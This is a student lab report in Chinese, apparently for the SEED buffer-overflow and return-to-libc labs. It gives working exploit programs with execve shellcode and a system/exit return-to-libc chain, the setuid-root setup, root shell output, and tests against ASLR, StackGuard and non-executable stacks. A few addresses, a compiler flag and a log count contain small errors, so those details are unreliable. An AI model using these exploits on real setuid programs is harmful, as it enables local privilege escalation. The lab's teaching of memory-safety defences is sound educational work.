Buffer Overflow Vulnerablility Lab

57117213 张曙

Task 1: Running Shellcode

使用GCC的`-z execstack`选项编译`call_shellcode.c`文件后，运行：

```
[09/02/20]seed@VM:~/lab-2$ ./call_shellcode
$
```

成功调用了shell。

Task 2: Exploiting the Vulnerability

对于`BUF_SIZE`为24的情况，将`stack.c`编译为可执行程序后（需要使用`-g`附加调试信息），用GDB调试。首先，使用`b bof`对`bof`设置断点，然后使用`run`运行。在程序暂停在`bof`入口时，查看部分数据：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeaf8
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffead8
gdb-peda$ p/d 0xbfffeaf8 - 0xbfffead8
$3 = 32
```

使用`p $ebp`查看`ebp`寄存器此时的值，使用`p &buffer`查看`buffer`数组的地址。`ebp`寄存器此时的值再加4就是`bof`函数返回地址所在的内存地址，那么通过`p/d`就可以计算出`buffer`与`bof`返回地址之间的距离为32+4=36。

因此，exploit.c`的程序为：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main() {
    char buffer[517];
    FILE *badfile = fopen("./badfile", "w");
    memset(&buffer, 0x90, 517);
    int start = 517 - sizeof(code) / sizeof(char);
```

```
    strcpy(buffer + start, code);
    unsigned int ret = 0xbfffec58; /* $ebp (0xbfffeaf8) */
    buffer[36] = 0x58;
    buffer[37] = 0xec;
    buffer[38] = 0xff;
    buffer[39] = 0xbf;

    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    return 0;
}
```

将`0x90`(`NOP`指令)填满`buffer`,在`buffer`的尾部填充shellcode，而在第36-39个字节处，应填写的是我们希望`bof`函数返回的地址。因此，我们选择一个与`ebp`值相距较近的，不包含`0x00`的地址`0xbfffec58`，按小端序填入`buffer`。

在此之后再次编译`stack.c`:

```
gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
```

然后运行:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功得到Shell，并且使用`id`命令可以查看到当前RUID为1000，也就是当前普通用户seed的ID，而EUID为0，也就是成功拿到了root用户的权限。

Task 3: Defeating `dash`'s Countermeasure

首先将`setuid(0)`注释，调用`stack`的结果为:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
```

获取到的Shell为普通用户seed的Shell。

将`setuid(0)`取消注释，再次调用`stack`的结果为:

```
[09/03/20]seed@VM:~/lab-2$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),4
6(plugdev),113(lpadmin),128(sambashare)
```

获得到的Shell为root的Shell。

将`setuid(0)`的汇编代码加入shellcode后，在`dash`下运行`stack`也能获得root的Shell了。

这是因为，从`dash`的源码中可以看到：

```
if (!pflag && (uid != geteuid() || gid != geteguid())) { /* ... */ }
```

如果RUID与EUID不同，或用户组的RUID与EUID不同时，`dash`会降权限。而我们通过`setuid(0)`将RUID也设置为root，就与euid想通了，那么`dash`就不会降权限了。

Task 4: Defeating Address Randomization

将ASLR开启后，运行脚本，在22分钟后成功获得Shell:

```
./task_4.sh: line 15: 29396 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29397 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29398 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29399 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29400 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
$
```

Task 5: Turn on the StackGuard Protection

将`-fno-stack-protector`选项取消后，再次运行`stack`时报错：

```
[09/03/20]seed@VM:~/lab-2$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

并且能够精确报告出错误原因是被栈溢出攻击了。

Task 6: Turn on the Non-executable Stack Protection

选择`-z nostackexec`选项后，再次运行`stack`时报错：

```
[09/03/20]seed@VM:~/lab-2$ ./stack
Segmentation fault
```

此时使用GDB调试程序：

可以发现，报错是在执行的shellcode的第一个指令（因为shellcode中设置的返回地址就是`0xbfffec58`），因此可以看出，只要执行的指令地址位于栈上，就会出错。

Return-to-libc Attack Lab

57117213 张曙

Task 1: Finding out address of `libc` functions

取`BUF_SIZE`为233

运行如下代码，生成root的`Set-UID`程序`retlib`：

```
gcc -DBUF_SIZE=233 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
```

使用GDB调试`retlib`，运行后使用`p system`和`p exit`查看`system`和`exit`的地址：

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
```

从中可以看到，`system`的地址为`0xb7e42da0`，`exit`的地址为`0xb7e369d0`。

Task 2: Putting the shell string in the memory

使用

```
export MYSHELL=/bin/sh
```

将`MYSHELL`设置为环境变量，值为"/bin/sh"。

编写一个名称长度与`retlib`一样的文件`abcdef`，内容为打印`MYSHELL`环境变量的地址，其结果为：

```
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bffffdef
```

可以看到"/bin/sh"的地址为`0xbffffdef`。

Task 3: Exploiting the buffer-overflow vulnerability

首先使用和Lab 2类似的手法，查看`ebp`和`buffer`的地址：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffe888
gdb-peda$ p &buffer
$2 = (char (*)[233]) 0xbfffe797
gdb-peda$ p/d 0xbffe888 - 0xbffe797
$3 = 241
```

同时可以得出`buf`的地址与返回地址的内存地址之间的距离为241+4=245。

据此，我们可以编写出`exploit.c`：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main() {
    char buf[260];
    FILE *badfile;
    badfile = fopen("./badfile", "w");

    *(long *)&buf[245] = 0xb7e42da0;
    *(long *)&buf[249] = 0xb7e369d0;
```

```
    *(long *)&buf[253] = 0xbfffffdef;
    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);

    return 0;
}
```

其中，在245-248这4个字节是`bof`函数返回之后的返回地址，也就是`system`的地址。在249-252这4个字节是`system`函数返回之后的返回地址，也就是`exit`的地址。在253-256这4个字节是`system`的参数，也就是"/bin/sh"的地址。

在运行`exploit`生成`badfile`之后，运行`retlib`：

```
[09/02/20]seed@VM:~/lab-3$ ./retlib
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
```

成功获得root的Shell。

Attack variation 1

去掉`exit`的地址，也就是将`buf`中249-252这4个字节设为0，再次运行`retlib`：

```
[09/02/20]seed@VM:~/lab-3$ ./retlib
#
Segmentation fault
```

在使用`ctrl`+`D`退出获得的Shell之后，发生段错误。

这是因为，退出Shell之后，程序会进入`system()`的返回地址，而其返回地址正是shellcode中第249-252这4个字节所记录的地址。如果不是`exit`，那么就会跳转到别的内存地址中去，如果相应的内存地址不可执行，就会产生段错误。

Attack variation 2

将`retlib`重命名为`newretlib`，再次运行：

```
[09/02/20]seed@VM:~/lab-3$ ./newretlib
zsh:1: command not found: h
```

发生奇怪的错误。

这是因为，我们通过编写一个与`retlib`名称长度相同的二进制程序`abcdef`来获得"/bin/sh"的地址的。而如果二进制程序的长度发生变化，那么相应地其环境变量的地址也会发生变化，从而在`abcdef`中"/bin/sh"的地址就不是`newretlib`中"/bin/sh"的地址，那么传给`system`的参数就会出现错误。

Task 4: Turning on address randomization

将`kernel.randomize_va_space`设置为2，开启堆栈的ASLR之后，再次运行`retlib`：

```
[09/02/20]seed@VM:~/lab-3$ ./retlib
Segmentation fault
```

发生段错误。

首先，开启ASLR之后，"/bin/sh"的地址不再确定：

```
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bf98ddef
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bfb22def
[09/02/20]seed@VM:~/lab-3$ ./abcdef
bfc23def
```

而通过GDB中设置`set disable-randomization off`开启ASLR之后，可以发现`system`和`exit`的地址也不再确定：

```
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0xb7642da0 <__libc_system>
gdb-peda$ p exit
$3 = {<text variable, no debug info>} 0xb76369d0 <__GI_exit>
```

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7581da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb75759d0 <__GI_exit>
```

但是，由于汇编指令是确定的，因此`buf`的地址与`ebp`的值之间的距离是固定的，所以说，`X`，`Y`，`Z`三个地址是正确的，但其对应的数组的值都发生了改变。